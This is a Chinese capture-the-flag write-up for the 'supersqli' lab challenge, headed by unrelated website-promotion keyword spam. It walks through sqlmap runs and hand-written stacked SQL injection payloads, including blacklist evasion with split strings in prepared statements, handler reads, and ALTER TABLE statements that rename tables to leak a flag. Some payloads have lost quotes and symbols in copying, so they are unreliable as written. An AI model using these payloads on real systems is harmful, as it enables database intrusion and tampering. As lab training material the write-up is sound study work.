苏州网页模板建站,wordpress推广,无锡网站排名优化公司哪家好,河南网站建设企业题目来源#xff1a;攻防世界supersqli
目录
一、打开靶机#xff0c;整理已知信息
二、sqlmap解题
step 1#xff1a;爆数据库
step 2#xff1a;爆表
二、手工注入解题
step 1#xff1a;判断注入类型
step 2#xff1a;判断字段数
step 3#xff1a;查询数据…题目来源攻防世界supersqli
目录
一、打开靶机整理已知信息
二、sqlmap解题
step 1爆数据库
step 2爆表
二、手工注入解题
step 1判断注入类型
step 2判断字段数
step 3查询数据库
step 4使用堆叠注入查数据库、表
1.查数据库
2.查表
3.查列
4.查具体数据
1handler查询法
2预编译绕过法
3修改原查询法
4EXECUTE IMMEDIATE 一、打开靶机整理已知信息 查看源码发现一句话用sqlmap是没有灵魂的。所以可以先用sqlmap跑一下然后尝试手工注入
二、sqlmap解题
step 1爆数据库
python sqlmap.py -u http://61.147.171.105:49439/?inject1 -dbs 得到数据库名supersqli
step 2爆表
python sqlmap.py -u http://61.147.171.105:49439/?inject1 -D supersqli --tables 这里没有给出结果所以sqlmap没办法继续了。到这里只得到数据库名为supersqli
二、手工注入解题
step 1判断注入类型
键入1、1、1‘ and 11 #
回显正常 键入1
报错了 说明此处存在注入点且为字符型注入
step 2判断字段数
键入1 order by 2 #
回显正常 键入1 order by 3 #
报错了 所以字段数为2
step 3查询数据库
1 union select 1,2 #
显示被过滤掉了 select用于从数据库中查询数据的 SQL 语句关键字。update用于更新数据库中表的数据的 SQL 语句关键字。delete用于从数据库表中删除数据的 SQL 语句关键字。drop用于删除数据库对象如表、视图等的 SQL 语句关键字。insert用于向数据库表中插入新数据的 SQL 语句关键字。where用于在 SQL 语句中指定查询、更新、删除等操作的条件。i的意思为以上关键字都不区分大小写意为不能用大小写绕过 所以不能正常的sql注入
step 4使用堆叠注入查数据库、表 堆叠注入多条SQL语句用分号隔开均执行 1.查数据库
1;show databases;# 猜测flag在supersqli表里
2.查表
1;use supersqli;show tables;# 得到两个表1919810931114514、words
3.查列
1;use supersqli;show columns from 1919810931114514;#
当表名是纯数字字符串的时候需要加反引号 看到老朋友flag了
4.查具体数据 前面看到select也被过滤了所以不能有普通的查询方法
1handler查询法 handler语句是MySQL专用语句可以一行一行的浏览一个表中的数据。 1.句柄handle相当于指针是一个广义的指针 2.命令 1打开句柄handler 表名 open; 2查看数据handler 表名 read first\next; 以此推荐 详情见【MySQL】MySQL 之 handler 的详细使用及说明_mysql handler-CSDN博客 1;use supersqli;handler 1919810931114514 open as p;handler p read first;# 第二条命令意为打开1919810931114514并命名为p第三条意为打开并阅读p中第一条数据 2预编译绕过法 预编译绕过法 1.预编译语句是一种预处理SQL语句的技术允许我们定义和编译SQL语句在每次执行SQL查询时只需传递参数即可。即SQL查询会被MySQL进行编译依次然后可以多次执行 select会被过滤所以要用预编译来绕过过滤 1; set sql CONCAT(sele,ct flag from 1919810931114514;); prepare stmt from sql; EXECUTE stmt;# 解释
第二条语句意为使用concat函数拼接为一个完整SQL语句并赋值给变量sql
第三条语句则为预编译SQL语句prepare语句用于准备一个SQL语句将变量sql中的SQL语句进行预编译并将编译后的语句命名为stmt
第四条语句即为执行stmt语句
目的为获取flag set和prepare被strster函数过滤掉了但该函数不区分大小写所以修改一下 1; Set sql CONCAT(sele,ct flag from 1919810931114514;); Prepare stmt from sql; EXECUTE stmt;# 得到flag 3修改原查询法 原理就是没有过滤掉alter可用alter将字段flag改为1然后查询1得到flag 先找一下查询1的时候处于哪张表之前得到有两张表1919810931114514、words
1;show columns from words;# 可得查询1时默认的数据库就是supersqli这个在sqlmap中也可得到验证 继续看word表里的字段
1;handler words open as a;handler a read next;# 得到一样的信息所以原查询就在表words的字段id里面
注这里上下两张表是因为堆叠注入的作用两个语句都被执行了
修改原查询的核心1919810931114514表和words表的构成相同id字段和flag字段对应int(10)字段和varchar(100)字段对应
所以将表1919810931114514名字改为words将flag列改为id
payload
1; alter table words rename to words1;alter table 1919810931114514 rename to words;alter table words change flag id varchar(50);#
解释第三条语句是将表words中flag列名改为id并将该列的数据类型设置为varchar(50) 4EXECUTE IMMEDIATE execute immediate语句允许执行动态构建的SQL语句 查询表中字段的值用execute immediate语句绕过黑名单 select
1;execute immediate concat(sele,ct flag from 1919810931114514) # 原理字符串拼接在程序中拼接成完整的SQL语句不触发黑名单检查